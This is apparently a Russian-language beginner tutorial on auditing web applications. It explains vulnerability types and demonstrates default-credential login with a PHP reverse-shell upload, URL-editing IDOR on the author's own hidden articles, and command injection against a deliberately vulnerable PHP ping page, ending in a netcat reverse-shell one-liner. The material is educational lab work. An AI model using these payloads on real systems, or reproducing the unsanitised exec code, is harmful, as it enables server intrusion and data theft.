ИБ (Информационная Безопасность)
Today

Аудит безопасности веб-приложений. Введение для новичков

Содержание:


ДИСКЛЕЙМЕР:

Вся информация предоставлена исключительно в образовательных целях. Автор никого не призывает к противозаконным действиям и не несет за вас ответственность.


Что такое веб-приложение

Веб-приложение — это реализация взаимодействия пользователя с сервером через веб-браузер. Отличие от веб-сайта в том, что веб-сайт лишь отображает информацию и включает в себя базовый функционал (например, форму для обратной связи, строку поиска и т.п.), а веб-приложение включает в себя высокую интерактивность, предоставление доступа к данным и динамическое отображение контента в зависимости от действий пользователя. С веб-приложением пользователь постоянно взаимодействует для решения каких-то задач, а на веб-сайте он просто просматривает контент и пользуется строками ввода.

Примеры веб-приложений:

  • Онлайн-банки
  • Маркетплейсы
  • Социальные сети
  • Панели управления
  • Платформы для дистанционного обучения

Техническая составляющая веб-приложений:

  • Backend. Это серверная часть приложения, которая отвечает за основной функционал, например хранение базы данных, обработка запросов и т.п. Может быть написана на любом языке программирования.
  • Frontend. Это клиентская часть приложения, которая выполняется в веб-браузере пользователя. Frontend пишут на JavaScript.
  • Single page application (SPA). Приложения, которые не требуют перезагрузки веб-страницы для обновления контента. SPA довольно сложны в реализации.


Виды уязвимостей веб-приложений

Серверные

Серверные уязвимости выполняются на стороне сервера и являются наиболее распространенными, чем клиентские уязвимости.

  • Инъекция команд (Command Injection). Один из самых опасных видов уязвимостей, но встречающийся крайне редко. Позволяет удаленно выполнять команды на сервере, что в свою очередь может использоваться для получения полного удаленного доступа к серверу.
  • Инъекция PHP-кода (PHP Code Injection). Внеднение вредоносного PHP-кода на сервер. Как и инъекция команд, позволяет получить удаленный доступ к серверу. Встречается редко.
  • SQL-инъекция (SQL Injection). Выполнение SQL-запросов. Позволяет получить доступ к конфиденциальной информации, хранящейся на сервере, например учетные данные, базы данных клиентов и т.п.
  • XML External Entity (XXE). Позволяет внедрять вредоносный XML-контент в HTTP-запросы. Может использоваться для получения полного доступа к серверу или хранящимся данным.
  • Server-Side Template Injection (SSTI) или же инъекция шаблона. Применяется к серверам, в которых используются шаблонизаторы. Может привести к получению полного доступа к серверу.
  • Мисконфиг (misconfiguration). Представляет собой неправильные настройки сервера, которые могут привести к его компрометации. Например: стандартные учетные данные, которые не сменил админ; отсутствие шифрования; неправильные права доступа и т.п. Один из наиболее простых способов взлома, который частенько встречается на частных серверах.
  • IDOR (Insecure direct object references) или же небезопасная прямая ссылка на объект. Представляет собой уязвимость, которая позволяет неавторизованным пользователям получать доступ к скрытому контенту. В URL-ссылках могут содержаться идентификаторы, например: https://example.com/image/67/. IDOR заключается в том, что пользователь может самостоятельно изменить этот идентификатор, просто отредактировав ссылку, например вот так: https://example.com/image/66/. В итоге пользователь получает доступ к контенту, который по сути должен быть скрыт от него. IDOR встречается довольно часто.

Клиентские

Клиентские уязвимости выполняются на стороне клиента и являются менее распространенными, чем серверные уязвимости.

  • Cross-Site Scripting (XSS) или же межсайтовый скриптинг. Внедрение JavaScript-кода в веб-страницу. Может привести к утечке пользовательских данных, т.к. XSS-атака подразумевает то, что атакующий может выполнять любые пользовательские действия, даже если они привелегированные.
  • Cross-Site Request Forgery (CSRF) или же межсайтовая подделка запросов. Позволяет создавать вредоносные запросы, которые обработает сервер, что в свою очередь может привести к выполнению действий в аккаунте любого пользователя даже без авторизации.
  • HTML-инъекция (HTML Injection). Внедрение HTML-кода. Может использоваться для кражи учетных данных путем создания фишинговой страницы.


Мисконфиг на практике

Давайте возьмем в пример довольно простую уязвимость — неизмененные учетные данные для входа. В сети есть огромное количество готовых веб-приложений, которые мы можем использовать для тестирования. Например:

https://github.com/prasathmani/tinyfilemanager

Установим Tiny File Manager на виртуалку под управлением ОС KALI Linux. Для этого поднимем сервер Apache:

sudo systemctl start apache2.service

Теперь откроем веб-браузер и убедимся, что Apache запущен:

localhost

Отлично. Теперь устанавливаем Tiny File Manager:

git clone https://github.com/prasathmani/tinyfilemanager

sudo mv tinyfilemanager/tinyfilemanager.php /var/www/html

Переходим в веб-браузер и проверяем:

http://localhost/tinyfilemanager.php

Тестовая машина готова. Далее запускаем вторую виртуальную машину, которая будет выступать атакующей и выполняем пинг, чтобы убедиться что находятся машины в одной сети:

ping 10.0.2.15

Итак, что у нас есть на данном этапе:

  • Целевая виртуальная машина с веб-сервером;
  • Атакующая виртуальная машина;
  • Обе машины находятся в одной сети и видят друг друга.

Смоделируем такую ситуацию:

  1. Мы знаем IP-адрес целевого хоста (10.0.2.15);
  2. Мы знаем, что запущен веб-сервер на целевом хосте (http://10.0.2.15) и присутствует веб-форма для авторизации (http://10.0.2.15/tinyfilemanager.php)
  3. Нам нужно получить полный контроль над веб-сервером.

Давайте попробуем открыть веб-страницу нашей целевой машины:

http://10.0.2.15/tinyfilemanager.php

Как нам авторизоваться, если мы не знаем пароль? Гуглим Tiny File Manager:

В README.md указаны учетные данные по умолчанию:

Надеемся, что админ не поменял эти учетные данные и пытаемся авторизаваться с помощью них. В качестве логина используем admin, чтобы получить наибольший контроль:

Вот мы и получили доступ к файлам сервера, но это еще все что мы можем. Нам нужно загрузить PHP-файл, который предоставит нам reverse shell. В состав KALI Linux входит набор вредоносных PHP-файлов, которые мы можем выгрузить на целевой сервер:

webshells -h

ls /usr/share/webshells/php

В директории /usr/share/webshells/php есть файл php-reverse-shell.php:

Взглянем на его код:

vim /usr/share/webshells/php/php-reverse-shell.php

Здесь нам нужно сменить $ip и $port. Для этого копируем файл в домашний каталог и редактируем:

cp /usr/share/webshells/php/php-reverse-shell.php ./

ls

vim php-reverse-shell.php

$ip меняем на локальный IP-адрес атакующей машины, а $port на любой доступный номер порта (или оставляем по умолчанию). Чтобы узнать локальный IP, используйте команду ip a.

Далее запускаем netcat — утилиту для установления TCP и UDP-соединений:

nc -nlvp 1234

-l используется, чтобы netcat работал в качестве прослушивателя;

-v для продробного вывода;

-n не разрешает имена хостов и использование DNS;

-p указывает порт (в нашем случае 1234). Порт ниже 1024 указывать не следует, т.к. к таким портам доступ возможен только от имени root. Максимальное значение - 65535.

Теперь выгружаем PHP-файл на сервер:

И запускаем его:

В итоге мы получаем удаленный доступ:


IDOR на практике

Теперь предлагаю рассмотреть IDOR. Напомню, что это такое:

В URL-ссылках могут содержаться идентификаторы, например: https://example.com/image/67/. IDOR заключается в том, что пользователь может самостоятельно изменить этот идентификатор, просто отредактировав ссылку, например вот так: https://example.com/image/66/. В итоге пользователь получает доступ к контенту, который по сути должен быть скрыт от него.

Ранее с помощью IDOR была возможность просматривать чужие изображения на prntscr.com. Сейчас эту уязвимость вроде бы закрыли, поэтому покажу на примере Teletype. Пользователи могут получать доступ к скрытому контенту, предугадывая идентификатор статьи. Сейчас покажу как это выглядит.

В Teletype есть возможность самостоятельно присваивать идентификаторы к статьям. Например у этой статьи идентификатор web-apps:

Если вы читаете данную статью через веб-браузер, то обратите внимание на адресную строку. Там можно заметить, что используется именно этот идентификатор:

Итак, в моем профиле есть несколько статей. Если мы перейдем в категорию OSINT, то там увидим пока что одну статью:

Но давайте взглянем на ее идентификатор:

https://teletype.in/@chernoff_security/hackerlab_osint1

Дело в том, что перед тем, как опубликовать пост со статьей в своем Telegram-канале, я статью перевожу в список скрытых. В итоге, пока пост не опубликован, к статье можно получить доступ только имея ссылку на нее. А давайте ка попробуем вручную отредактировать URL:

Было https://teletype.in/@chernoff_security/hackerlab_osint1, а стало https://teletype.in/@chernoff_security/hackerlab_osint2. В итоге мы получаем доступ к скрытой статье:

Это лишь безобидный пример, а представьте что можно было делать на prntscr.com. Пользователям удавалось находить скриншоты с чужими паролями от аккаунтов и даже криптокошельков, интимные фотографии и прочий контент, который не был предназначен для всеобщего обозрения.


CMD Injection на практике

Теперь предлагаю рассмотреть CMD Injection. Эта уязвимость позволяет выполнять команды операционной системы на целевом хосте. Для начала создадим тестовый полигон, а для этого нам вновь понадобится Apache. Сперва кинем в директорию /var/www/html вот такой код:

<?php
set_time_limit(10);
$pingResult = '';
$errorMsg   = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $target = trim($_POST['ip'] ?? '');
    if ($target === '') {
        $errorMsg = 'Bведите IP-адрес или доменное имя.';
    } else {
       	$cmd = sprintf('ping -c 2 -W 2 %s', $target);
       	exec($cmd, $output, $returnVar);
        if ($returnVar === 0) {
             $pingResult = implode("\n", $output);
        } else {
             $errorMsg = "Не удалось выполнить ping. Код возврата: {$returnVar}";
          }
        }
    }
?>
<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <title>Ping‑тест</title>
    <style>
        body {font-family: Arial, sans-serif; margin: 2rem;}
        textarea {width: 100%; height: 200px; font-family: monospace;}
        .error {color: red;}
    </style>
</head>
<body>
<h1>Проверка доступности IP / домена (ping)</h1>
<form method="post" action="">
    <label for="ip">IP‑адрес или доменное имя:</label><br>
    <input type="text" id="ip" name="ip" value="<?= htmlspecialchars($_POST['ip'] ?? '') ?>" required style="width: 300px;">
    <button type="submit">Пинговать</button>
</form>
<?php if ($errorMsg): ?>
    <p class="error"><?= htmlspecialchars($errorMsg) ?></p>
<?php endif; ?>
<?php if ($pingResult): ?>
    <h2>Результат ping‑а:</h2>
    <pre><?= htmlspecialchars($pingResult) ?></pre>
<?php endif; ?>
</body>
</html>

И запустим сервер:

sudo systemctl start apache2.service

По адресу http://localhost/ping.php теперь распологается вот такая веб-страница для проверки доступности хоста:

Она полностью рабочая, мы можем в этом убедиться:

А теперь давайте-ка перейдем на атакующую машину и попробуем хакнуть наш тестовый сервер. Запускаем веб-браузер и идем по адресу http://10.0.2.15/ping.php:

Когда мы выполняем ping-запрос, по выводу информации становится понятно, что используется стандартная команда ping на сервере и возвращается результат на веб-страницу:

Мы можем сами в этом убедиться, выполнив команду через терминал и сравнив результат выполнения с тем, что представлено на веб-странице:

Получается, что сервер использует команду ping и просто выводит результат ее выполнения на веб-страницу. Что нам это дает? А это нам дает примерное представление того, как PHP-код обрабатывает пользовательский запрос. Код просто берет пользовательское значение из строки ввода и запускает команду ping. А что, если мы попробуем ввести недопустимое значение? Посмотрим:

Окей, команда не выполнилась. А теперь попробуем ввести допустимое значение, но добавим ; ls -la:

Команда ping выполнена, но вместе с ней нам удалось выполнить ls -la и даже получить вывод. Дело в том, что символ ; позволяет нам разделять команды в одной строке. Получается, что выполнилась вот такая команда:

ping -c 2 -W 2 %s google.com ; ls -la

Помимо ; мы можем использовать и другие разделяющие символы, например & или ||.

Предлагаю получить удаленный доступ к серверу. Для этого сгенерируем команду с помощью reverse-shell-generator. Существует онлайн-версия:

Указываем IP целевого хоста, порт, Listener, операционную систему и командную оболочку (Shell):

Запускаем netcat:

nc -nlvp 9001

Далее копируем сгенерированную команду и применяем ее для выполнения на целевом сервере:

google.com ; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.2.3 9001 >/tmp/f

В итоге мы получили удаленный доступ к серверу. Выполним некоторые команды:

whoami

pwd

ls -la


Заключение

В данной статье мы рассмотрели эксплуатацию веб-уязвимостей на практике. Это может стать хорошим стартом в сфере тестирования веб-приложений на безопасность. Веб-уязвимостей существует огромное множество и каждую из них нужно очень тщательно разбирать на практике. Вам это даст понимание того, как происходит обработка запросов и какие проблемы безопасности могут возникнуть.


Мой Telegram

Мой GitHub

Поддержать автора донатом